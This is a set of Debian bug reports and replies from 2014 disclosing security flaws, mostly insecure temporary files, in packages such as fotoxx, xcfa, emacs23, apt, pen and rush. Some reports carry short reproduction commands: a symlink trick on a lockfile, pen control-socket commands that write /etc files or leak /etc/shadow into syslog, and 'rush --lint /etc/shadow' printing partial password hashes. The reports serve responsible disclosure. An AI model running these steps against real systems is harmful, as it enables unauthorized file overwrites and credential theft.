Bug#765697: ITP: libtest-tabs-perl -- check the presence of tabs in your project
On Fri Oct 17, 2014 at 15:38:02 +0200, Jonas Smedegaard wrote: > Not sure what it is you suggest: Seems to me like they have _opposite_ > scopes :-) You're right, I'm clearly mistaken/wrong and not being helpful. Sorry for the noise. Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#765697: ITP: libtest-tabs-perl -- check the presence of tabs in your project
On Fri Oct 17, 2014 at 14:38:07 +0200, Jonas Smedegaard wrote: > Test::Tabs scans your project/distribution for any perl files (scripts, > modules, etc) for the presence of tabs. > . > Needed for some uses of Dist::Inkt. > Will be maintained in the Perl team. Looks like a simple/small module, but so very close in scope to Test::NoTabs. Might it be worth suggesting the upstream changes? http://search.cpan.org/perldoc?Test%3A%3ANoTabs https://packages.debian.org/search?keywords=libtest-notabs-perl Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#761879: fotoxx: Insecure use of temporary files
Package: fotoxx
Version: 11.11.1-1.1
Severity: important
Tags: security
(Irrelevent) Printing Issues
All three versions of fotoxx packaged for Debian (squeeze, wheezy, and jessie)
make insecure use of a temporary file when printing in the function `wprintp`
in zfuncs.cc.
// print text dialogs
void wprintp()
{
pid = getpid();
snprintf(tempfile,49,"/tmp/wprintp-%d",pid);
err = wfiledump(mLog,tempfile);
if (err) return;
}
Happily this code doesn't ever seem to be called, so it can be safely removed.
Email Attachments
-
In version 11.11.1-1.1 (wheezy-only) the code to handle adding attachments to
emails is seriously broken.
The code in question is located in the function `email_dialog_event` in the
file `fotoxx_tools.cc`, and in brief it:
1. Creates a temporary directory:
/tmp/$USER/fotoxx/email
2. Removes *.jpg from that directory.
3. Copies the selected files to that directory, mandating a fixed naming
pattern, after resizing/downsampling.
4. Builds up a command line:
xdg-email --attach file1 --attach file2 ..
5. Executes it.
The third step allows file-truncation and overwriting, due to the lack of
testing for collisions in the output step.
Global Lockfile
---
In version 11.11.1-1.1 (wheezy-only) the file
"/tmp/global_lock_fotoxx_syncfiles" is used insecurely
as an attempt to avoid multiple syncs.
Create the lockfile as a symlink and fotoxx will gladly follow it, creating an
empty file. This
could perhaps be leveraged if the symlink pointed to /etc/cron.d, or DoS via
the creation of
/etc/nologin if fotoxx is ever executed as root.
$ ln -s /tmp/foo /tmp/global_lock_fotoxx_syncfiles
$ ls -l /tmp/global_lock_fotoxx_syncfiles
/tmp/global_lock_fotoxx_syncfiles -> /tmp/foo
ls -l /tmp/foo
ls: cannot access /tmp/foo: No such file or directory
Now launch fotoxx and see that the file has been created:
$ ls -1 /tmp/foo
/tmp/foo
14.07.1
---
This seems to unsafely create /tmp/fotoxx-%s based on the PID of the
process. This should be investigated too.
-- System Information:
Debian Release: 7.6
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.14-0.bpo.1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL
set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
Versions of packages fotoxx depends on:
ii libatk1.0-0 2.4.0-2
ii libc6 2.13-38+deb7u4
ii libcairo2 1.12.2-3
ii libfontconfig1 2.9.0-7.1
ii libfreetype62.4.9-1.1
ii libgcc1 1:4.7.2-5
ii libgdk-pixbuf2.0-0 2.26.1-1
ii libglib2.0-02.33.12+really2.32.4-5
ii libgtk2.0-0 2.24.10-2
ii libpango1.0-0 1.30.0-1
ii libstdc++6 4.7.2-5
ii libtiff43.9.6-11
Versions of packages fotoxx recommends:
ii libimage-exiftool-perl 8.60-2
pn libtiff
ii ufraw-batch 0.18-2
pn xgd-open
Versions of packages fotoxx suggests:
ii brasero 3.4.1-4
-- no debconf information
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#761828: fotoxx: Software packaged for Debian should not "phone home"
Package: fotoxx Version: 14.07.1-1 Severity: normal Dear Maintainer, The version of fotoxx available to Jessie, version 14.07.1-1, contains code which runs at startup to: * Phone home. * Attempt to update itself. "Phoning home", no matter how benignly, without explicit consent from the user is somethign that was should not encourage. The code also attempts to download new releases, which is something that should not be done - we're Debian users and our updates should come from Debian packages, rather than random binaries downloaded via 'wget' insecurely. Please read the `int initzfunc(void *)` function, as implemented in fotoxx-14.07.1.cc. My preferred solution would be to add "return 0;" at teh head of that function, but as maintainer you get to decide how much should be neutered. [This functionality is new, it was not present in the squeeze/wheezy versions.] -- System Information: Debian Release: 7.6 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.14-0.bpo.1-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#756565: CVE
On Tue Sep 09, 2014 at 12:52:38 +0300, Henri Salo wrote: > Have you requested CVE already? If you want I can verify this issue and create > the request. I have not, the lack of update to the bug report made it slip my mind. If you'd like to confirm the issues, which shouldn't be hard, and request one then please do feel free. Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#756600: xcfa: Insecure use of temporary files, subject to race conditions
Package: xcfa
Version: 4.3.1-1
Severity: important
Tags: security
xcfa contains several insecure uses of temporary files.
For example the file src/get_info.c has code to test that
curl is present, in the function GetInfo_wget which
essentially runs:
wget --user-agent=\"Mozilla 22.0\" --directory-prefix=/tmp/
http://google.fr/
..
if [ -e /tmp/index.html ]; then
rm /tmp/index.html
fi
This is probably safe, because wget will not follow symlinks, and will
instead create "index.html.1" - but any existing file called /tmp/index.html
will be removed regardless.
More serious issues exist throughout the codebase. For example the
code in dvdread_create_recap_audio, located in src/dvd_read.c contains
this lovely function:
// Suppression du fichier precedant si il existe
g_unlink ("/tmp/get_infos_dvd.sh");
g_unlink ("/tmp/infos_dvd.txt");
fp = fopen ("/tmp/get_infos_dvd.sh", "w");
fprintf (fp, "#!/bin/sh\n");
fprintf (fp, "\n");
fprintf (fp, "set -e\n");
fprintf (fp, "\n");
..
..
system ("chmod +x /tmp/get_infos_dvd.sh");
system ("/tmp/get_infos_dvd.sh");
g_unlink ("/tmp/get_infos_dvd.sh");
Similarly the code which copies files to the trashbin, located in
src/file_trash.c,
has some nice code which runs:
system ("env | grep \"KDE_FULL_SESSION\" >
/tmp/tst_kde_full_session.txt");
if ((fp = fopen ("/tmp/tst_kde_full_session.txt", "r")) != NULL) {
while (fgets (buf, MAX_CARS_KDE, fp) != NULL) {
if (strcmp (buf, "KDE_FULL_SESSION") == 0) {
if (strcmp (buf, "true") == 0 || strcmp (buf,
"TRUE") == 0) {
BoolRet = TRUE;
break;
}
}
}
fclose (fp);
}
g_unlink ("/tmp/tst_kde_full_session.txt");
In short this codebase is rife with race-conditions allowing arbitrary shell
executation,
via /tmp/get_infos_dvd.sh, and file truncation/deletion.
I'd strongly urge the maintainer to audit the codebase for additional issues,
with the
help of upstream.
Steve
--
-- System Information:
Debian Release: 7.6
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.14-0.bpo.1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL
set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#756566: libxml-dt-perl: Insecure use of temporary files
Package: libxml-dt-perl Version: 0.62-1 Severity: important Tags: security The libxml-dt-perl package installs the script "/usr/bin/mkxmltype" which blindly overwrites the contents of the file: /tmp/_xml_$$ (Where '$$' corresponds to the PID of the process.) This is insecure and can allow the truncation of arbitrary files the user has permission to access. A similar problem exists in /usr/bin/mkdtskel, again the file accessed is /tmp/_xml_$$. Both scripts should be updated to use File::Temp, or similar. Steve -- http://steve.org.uk/ -- System Information: Debian Release: 7.6 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.14-0.bpo.1-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#756565: lives: Numerous insecure temporary files used in smogrify
Package: lives
Version: 1.6.2
Severity: important
Tags: security
lives contains a perl script, smogrify, which is what does
a lot of the work.
I don't want to point out line-by-line all the issues in the
smogrify script, but please consider significantly overhauling it.
There are numerous insecure uses of temporary files. For example:
if ($command eq "get_window_id") {
smog_system("xwininfo > \"$curtmpdir/tmpinfo\"");
smog_system("grep \"Window id:\" \"$curtmpdir/tmpinfo\" >
\"$curtmpdir/tmpinfo2\"");
if (defined(open IN,"< $curtmpdir/tmpinfo2")) {
read IN,$win_id,128;
close IN;
}
You'll see that $curtmpdir is set to /tmp/smogrify, via code such as:
$handle=$ARGV[1];
$curtmpdir="$tmpdir/$handle";
To investigate all the issues is beyond my free timeframe, but I'd suggest
a decent starting point is to run the whole system under strace and grep
for /tmp in open|close|unlink|creat calls.
Steve
--
-- System Information:
Debian Release: 7.6
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.14-0.bpo.1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL
set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#754899: rawstudio: Insecure use of temporary file.
Package: rawstudio
Version: 2.0-1.1
Severity: important
Dear Maintainer,
The function "rs_filter_graph" located in file ./librawstudio/rs-filter.c
contains the following code:
g_string_append_printf(str, "}\n");
g_file_set_contents("/tmp/rs-filter-graph", str->str, str->len, NULL);
ignore = system("dot -Tpng >/tmp/rs-filter-graph.png
https://dns-api.com/
-- System Information:
Debian Release: 7.6
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.14-0.bpo.1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL
set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#749846: trafficserver: Insecure command execution and use of temporary filenames.
On Mon Jun 02, 2014 at 10:23:23 +0100, Steven Chamberlain wrote:
> http://sources.debian.net/src/trafficserver/3.0.5-1/mgmt/tools/SysAPI.cc
> > NOWARN_UNUSED_RETURN(system("/bin/mv -f /tmp/shadow /etc/shadow"));
>
> Won't that reset the shadow file's ownership to root:root? If default
> umask is 027, the file won't be readable any more by the shadow group;
> won't that break login if this code is ever used?
To be honest I couldn't see the /etc/shadow-touching code even being
invoked. So while I think there are many issues here, including the
loss of the `shadow` group membership it is probably the case that
this doesn't matter.
In more recent versions of trafficserver some of those functions have
been removed, although there are still some /tmp-file abuses left in
place.
> (Or if umask is less strict for some reason, the file becomes
> world-readable I suppose?)
Yeah.
> And there is plenty more /tmp abuse in that file - here it tries to
> delete the file, but there is still a race before creating/writing to it:
These are the more serious issues, because they're actually
invoked/used, as you can determine via strace and grep.
> Also there is plenty of code here not likely to work at all on a Debian
> system.
Agreed..
> [ Hoping this whole file isn't needed, and can simply go away :) ]
In the older release some functions are defined but never used, those
relating to /etc/shadow for example, but there remain bits that are
called.
Steve
--
Let me steal your soul?
http://stolen-souls.com
signature.asc
Description: Digital signature
Bug#749846: trafficserver: Insecure command execution and use of temporary filenames.
Package: trafficserver Version: 3.0.5-1 Severity: important Tags: security Dear Maintainer, The binary `/usr/bin/traffic_shell` contains the following strings, which should be sufficient to explain the issue: /bin/mv -f /tmp/shadow /etc/shadow /bin/sort /tmp/zonetab.tmp > /tmp/zonetab /bin/cp -f %s/net_config.xml /tmp/net_config.xml /tmp/dhcp_status /tmp/route_status /tmp/shadow .. I didn't look at the code in depth, but there are at least two errors here: * Predictable filenames, allowing file truncation/removal. * Race-conditions accessing files. The code in question comes from: trafficserver-3.0.5/mgmt/tools/SysAPI.cc + ConfigAPI.cc The code that uses /tmp should be updated to use popen, or similar to avoid the temporary files. Failing that a secure temporary filename should be generated. Please do request/assign CVE identifiers. -- System Information: Debian Release: 7.5 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.14-0.bpo.1-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Versions of packages trafficserver depends on: ii adduser 3.113+nmu3 ii libc62.13-38+deb7u1 ii libcap2 1:2.22-1.2 ii libexpat12.1.0-1+deb7u1 ii libgcc1 1:4.7.2-5 ii libpcre3 1:8.30-5 ii libssl1.0.0 1.0.1e-2+deb7u9 ii libstdc++6 4.7.2-5 ii lsb-base 4.1+Debian8+deb7u1 ii tcl8.5 8.5.11-2 ii zlib1g 1:1.2.7.dfsg-13 trafficserver recommends no packages. trafficserver suggests no packages. -- no debconf information Steve -- http://steve.org.uk/
Bug#748766: scheme48: Insecure use of temporary file for communication.
Package: scheme48 Version: 1.8+dfsg-1 Severity: important Tags: security The function `scheme48-send-definition` in cmuscheme48.el blindly overwrites the file /tmp/s48lose.tmp prior to sending it to the inferior scheme process. This action will blindly overwrite files the user has permission to modify, causing data-loss. The function should be modified to generate a secure and non-predictable filename, perhaps via `make-temp-file` or similar. -- System Information: Debian Release: 7.5 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.12-0.bpo.1-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Steve -- http://steve.org.uk/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#747100: bug#17428: Bug#747100: emacs23: Insecure use of temporary files in included lisp libraries/packages
Clearly I'm an idiot, the correct link is this: http://www.openwall.com/lists/oss-security/2014/05/07/7 Steve -- http://www.steve.org.uk/
Bug#747100: bug#17428: Bug#747100: emacs23: Insecure use of temporary files in included lisp libraries/packages
These issues have now had several CVE identifiers associated with them, for future tracking: http://www.openwall.com/lists/oss-security/2014/03/14/5 Steve -- http://www.steve.org.uk/
Bug#747100: emacs23: Insecure use of temporary files in included lisp libraries/packages
Package: emacs23 Version: 23.4+1-4 Severity: important There are several tempfile-vulnerabilities present in the Emacs Lisp bundled and distributed with the emacs23 package. Here are four brief pointers to unsafe code: lisp/gnus/gnus-fun.el: In the function `gnus-grab-cam-face` the file "/tmp/gnus.face.ppm" is used, blindly allowing the existing file to be truncated, and symlinks followed. lisp/emacs-lisp/find-gc.el: In the function `trace-call-tree` there are some horrific invocations of the csh, which manipulate the directory and symlinks beneath "/tmp/esrc". lisp/net/browse-url.el In the function `browse-url-mosaic` the file "/tmp/Mosaic.$PID" is blindly overwritten. Suspect this whole function is obsolete though :) lisp/net/tramp.el The function `tramp-uudecode`, a fallback if a real uudecoding binary is not present, blindly uses "/tmp/tramp.$PID", truncating and removing the file. I suspect that each should receive a CVE identifier. -- System Information: Debian Release: 7.5 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.12-0.bpo.1-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Versions of packages emacs23 depends on: ii emacs23-bin-common 23.4+1-4 ii gconf-service 3.2.5-1+build1 ii libasound2 1.0.25-4 ii libatk1.0-0 2.4.0-2 ii libc6 2.13-38+deb7u1 ii libcairo2 1.12.2-3 ii libdbus-1-3 1.6.8-1+deb7u1 ii libfontconfig1 2.9.0-7.1 ii libfreetype62.4.9-1.1 ii libgconf-2-43.2.5-1+build1 ii libgdk-pixbuf2.0-0 2.26.1-1 ii libgif4 4.1.6-10 ii libglib2.0-02.33.12+really2.32.4-5 ii libgpm2 1.20.4-6 ii libgtk2.0-0 2.24.10-2 ii libice6 2:1.0.8-2 ii libjpeg88d-1 ii libm17n-0 1.6.3-2 ii libncurses5 5.9-10 ii libotf0 0.9.12-2 ii libpango1.0-0 1.30.0-1 ii libpng12-0 1.2.49-1 ii librsvg2-2 2.36.1-2 ii libsm6 2:1.2.1-2 ii libtiff43.9.6-11 ii libtinfo5 5.9-10 ii libx11-62:1.5.0-1+deb7u1 ii libxft2 2.3.1-1 ii libxpm4 1:3.5.10-1 ii libxrender1 1:0.9.7-1+deb7u1 ii zlib1g 1:1.2.7.dfsg-13 emacs23 recommends no packages. Versions of packages emacs23 suggests: pn emacs23-common-non-dfsg -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#741953: libreadline6: Insecure use of temporary files - in _rl_trace
Package: libreadline6 Version: 6.2+dfsg-0.1 Severity: important Tags: security Dear Maintainer, I noticed that GNU Readline version 6.x makes insecure use of files when outputting debugging information via the _rl_trace function. The details were reported here: http://www.openwall.com/lists/oss-security/2014/03/14/5 There is a classic race-condition present here, which allows files to be overwritten. This was allocated the identifier: CVE-2014-2524 Steve -- http://steve.org.uk/ -- System Information: Debian Release: 7.4 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.12-0.bpo.1-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Versions of packages libreadline6 depends on: ii libc6 2.13-38+deb7u1 ii libtinfo5 5.9-10 ii multiarch-support 2.13-38+deb7u1 ii readline-common6.2+dfsg-0.1 libreadline6 recommends no packages. libreadline6 suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#741627: insecure temporary file usage in apt-extracttemplates
Package: apt
Version: 0.9.7.9+deb7u1
Severity: important
Tags: security
When installing/upgrading packages via `apt-get` a child process
is invoked against the downloaded .deb-file to extract any templates
which might be contained in that package.
For example I was recently upgrading my lighttpd package and I see
this is logged (thanks to `snoopy`):
apt-extracttemplates
/var/cache/apt/archives/lighttpd_1.4.31-4+deb7u2_amd64.deb
As that package contains no actual templates all is well.
However consider a case where templates/config files are present,
again upon my system I can see that some recent downloads do indeed
include such things, and they are output as expected via the
apt-extracttemplates invokation:
shelob ~ $ apt-extracttemplates
/var/cache/apt/archives/gdm3_3.4.1-8_amd64.deb
gdm3 3.4.1-8 /tmp/gdm3.template.136800 /tmp/gdm3.config.136801
What `apt-extracttemplates` has done is twofold:
* Extracted the template & config files.
* Reported their location.
However what it has also done is create files with predictable
filenames, overwriting the carefully constructed memoirs I kept
in the file /tmp/gdm3.template.136800 ... ;)
Mitigating factors? The code correctly removes files first, so
symlinks and hardlinks are not followed. I suppose that makes this
"trivial" rather than "serious", (Yes a "standard" temporary race
could allow symlink/link following, but it looks like the file
is opened via O_CREAT + O_EXCL so that's not a concern - right?)
Anyway given that the generated file names are output to the console
it feels like we should use mkstemp and do it properly, right?
The code in question is in cmdline/apt-extracttemplates.cc,
in the function "string WriteFile(const char *package, const char *prefix,
const char *data)
":
char fn[512];
...
snprintf(fn, sizeof(fn), "%s/%s.%s.%u%d",
_config->Find("APT::ExtractTemplates::TempDir",
tempdir).c_str(),
package, prefix, getpid(), i++);
if (!f.Open(fn, FileFd::WriteTemp, 0600))
The opening, which mitigates this, is carried out using 'WriteTemp',
which is implemented in apt-pkg/contrib/fileutl.cc, and maps to:
WriteTemp = ReadWrite | Create | Exclusive,
(from fileutl.h.)
Steve
--
http://tweaked.io/
-- Package-specific info:
-- (no /etc/apt/preferences present) --
-- (/etc/apt/sources.list present, but not submitted) --
-- System Information:
Debian Release: 7.4
APT prefers stable-updates
APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Kernel: Linux 3.12-0.bpo.1-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL
set to en_US.UTF8)
Shell: /bin/sh linked to /bin/dash
Versions of packages apt depends on:
ii debian-archive-keyring 2012.4
ii gnupg 1.4.12-7+deb7u3
ii libapt-pkg4.12 0.9.7.9+deb7u1
ii libc6 2.13-38+deb7u1
ii libgcc1 1:4.7.2-5
ii libstdc++6 4.7.2-5
apt recommends no packages.
Versions of packages apt suggests:
pn apt-doc
ii aptitude0.6.8.2-1
ii dpkg-dev1.16.12
ii python-apt 0.8.8.2
ii synaptic0.75.13
ii xz-utils5.1.1alpha+20120614-2
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#741370: pen: security issues with pen
CVE-2014-2387 has been allocated for the two hardcoded/insecure
uses of temporary files.
("/tmp/webfile.html", and "/tmp/penctl.cgi".)
Steve
--
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#741370: pen: security issues with pen
On Thu Mar 13, 2014 at 14:46:37 +0100, Ulric Eriksson wrote: > The control socket and the configuration file use the exact same > syntax by design. I see that is currently the case, yes.. > If it is impossible or impractical to limit > access to the socket, the same level of control over a running Pen > can be accomplished from localhost by editing the config and an > old-fashioned HUP. While this is true, and people are free to run things as they wish, I've been assuming a root-owned configuration file & init script. So an unprivileged local user wouldn't be able to either reload or edit the config. > A password would imply that the protocol is safe, which it > obviously isn't - it is plain text over tcp. I don't see the connection there. You might express it in reverse "Because the control socket allows 'unsafe things' a password proves you have legitimate reason to talk to/with it." > A Unix-domain control socket is a trivial change which wouldn't > break anything but allow much more fine-grained control over who > has access from localhost. A brilliant idea which I congratulate > myself on. Actually that didn't occur to me, but as you say it is a lovely solution. Root could start the deamon with the socket having mode 600 and local users wouldn't be able to do bad things with it, similarly a local user could have ~/.pen.sock and they'd be safe against other local users - but not root, of course. Use a domain-socket and I think things become much tighter. Great idea! Steve -- Let me steal your soul? http://stolen-souls.com -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#741370: pen: security issues with pen
[Apologies for bouncing your mails. Fixed now.] > The core issue being that it is possible to run pen with remote > control from untrusted hosts (or any host), should the administrator so > desire. Agreed. I did think of limiting the control-socket to 127.0.0.1:XX but that a) reduces flexibility and b) still isn't sufficient to prevent a local user to run commands. To my mind there are two issues here: 1. Anybody that can connect to the control socket can do "things". 2. The are "things" that can be done which result in potential security problems. The ideal solution would be to require password authentication in addition to the socket connectivity. This would let you, potentially, run with a control-socket wide open, but still restrict malicious connections. (Obviously from localhost you'd want to have a password in an unreadable file, to avoid it from being read via vi, or similar.) The second problem of allowing file overwrites via the "write" primitive could be solved via chrooting, dropping privileges to nobody, or disabling the primitive unless it appears in the config file. I'm not sure how generally useful all the primitives are, but I could see the case for only allowing some primitives to work from a config file and not interactively. Similarly I could see dropping privileges from root to "pen" and chrooting to "/var/run/pen" would avoid any file overwrites from happening - because the deamon would simply not have the permission to do so. As you say the .CGI script is perhaps best avoided, but the documentation should certainly mention potential concerns with the use of a control socket. I've requested CVE IDs for the various issues, and will update if/when I receive them. Steve -- http://www.steve.org.uk/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#741370: pen: security issues with pen
Package: pen Version: 0.18.0-1 Severity: minor Tags: security There are four issues to report here; 1. Predictable filename in pen itself. 2. Insecure temporary filename in the contributed CGI script. 3. File overwrite / disclosure issues in pen. 4. Information disclosure. Predictable filename in pen itself --- When pen is instructed to dump statistics it will use the name /tmp/webfile.html by default. This is not a major concern given that it is created owned by the attacker: shelob ~ $ sudo pen localhost:9000 -C 127.0.0.1:5043 shelob ~ $ penctl 127.0.0.1:5043 statistics shelob ~ $ ls -l /tmp/webfile.html -rw-r--r-- 1 skx skx 3746 Mar 11 18:28 /tmp/webfile.html Insecure temporary filename in the contributed CGI script --- The file /usr/share/doc/pen/penctl.cgi contains this horrible content: $PENCTL $SERVER:$PORT status 2> /tmp/penctl.cgi Symlinks are followed, providing the webserve has permission to write to the file... File overwrite / disclosure issues in pen -- Assuming the server is started with a control-socket open then a user who can contact that socket can create arbitrary files upon the system: shelob ~ $ sudo pen localhost:9000 -C 127.0.0.1:5043 shelob ~ $ penctl 127.0.0.1:5043 write /tmp/meow shelob ~ $ penctl 127.0.0.1:5043 write /etc/owned shelob ~ $ ls -l /etc/owned /tmp/meow -rw-r--r-- 1 root root 1187 Mar 11 18:35 /etc/owned -rw-r--r-- 1 root root 1186 Mar 11 18:35 /tmp/meow The files are created as the user who started pen, root in this case, and although they are not writeable they allow arbitrary overwrites to occur. Information Disclosure --- Again, assuming a control socket was created, invalid commands are echoed to syslog. Assuming a local user is member of group `adm` they can read /etc/shadow indirectly: shelob ~ $ sudo pen localhost:9000 -C 127.0.0.1:5043 shelob ~ $ penctl 127.0.0.1:5043 include /etc/shadow (NOTE The file is read by the user the server is lauched as, in this case root.) Now because we're member of the 'adm' group we can read the lines that were ignored by pen: Mar 11 18:30:00 shelob pen: do_cmd: ignoring command starting with 'root:$6$zwJQWKVo$ofoV2xw0/Wg.rwXXitSyS8/SUUK3PRGp54Sd0VunhVl6W6ekVJlSW8vlqjrdsdwaT58L6Qoosx8IrKsdfsdf5Mxo/:15884:0:9:7:::' Mitigating factors? There is no init-script which is supplied in the debian package, however equally there is no documentation implying that using a control-socket is dangerous. *** End of the template - remove these lines *** -- System Information: Debian Release: 7.4 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.12-0.bpo.1-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) (ignored: LC_ALL set to en_US.UTF8) Shell: /bin/sh linked to /bin/dash Versions of packages pen depends on: ii libc6 2.13-38+deb7u1 pen recommends no packages. pen suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#733505: rush: Allows reading arbitrary files
Package: rush Version: 1.7+dfsg-1 Severity: important From the package description: "GNU Rush is a restricted shell designed for sites providing only limited access to resources for remote users". Much like sudo the shell allows a configuration file to limit the commands the user(s) are allowed to execute, and again like sudo the main binary (/usr/sbin/rush) is installed setuid root. Unfortunately the program suffers from the grave flaw that a configuration file may be tested via the --lint option, and this occurs prior to dropping any privileges. As the program is setuid(root) any file on the system may be read. Sample "exploit": shelob ~ $ rush --lint /etc/shadow 2>&1| head -n 2 rush: Info: /etc/shadow:1: unknown statement: root:$6$zwJQWKVo$../Wg.rwXXitSyS8/.../:15884:0:9:7::: rush: Info: /etc/shadow:2: unknown statement: daemon:*:15884:0:9:7::: As you can see the unrecognized content is shown to the user, allowing the local user access to the file they otherwise couldn't read. In this case setting up the system for a dictionary attack against the password hashes. Mitigating factors: Only the first whitespace-separated token is shown to the user. The identifier CVE-2013-6889 has been assigned to help track this security problem across distributions and releases. Please mention it when uploading a fixed package. -- System Information: Debian Release: 7.3 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.11.2 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF8, LC_CTYPE=en_US.UTF8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages rush depends on: ii libc6 2.13-38 rush recommends no packages. Versions of packages rush suggests: pn xinetd | inetutils-inetd -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#730189: ruby1.8: CVE-2013-4164
The patches seem to work successfully for me:
* The test-suite that runs at compile-time still passes.
* The reproducer stops segfaulting.
The reproducer I'm using is:
--
#!/usr/bin/ruby1.8
require 'json'
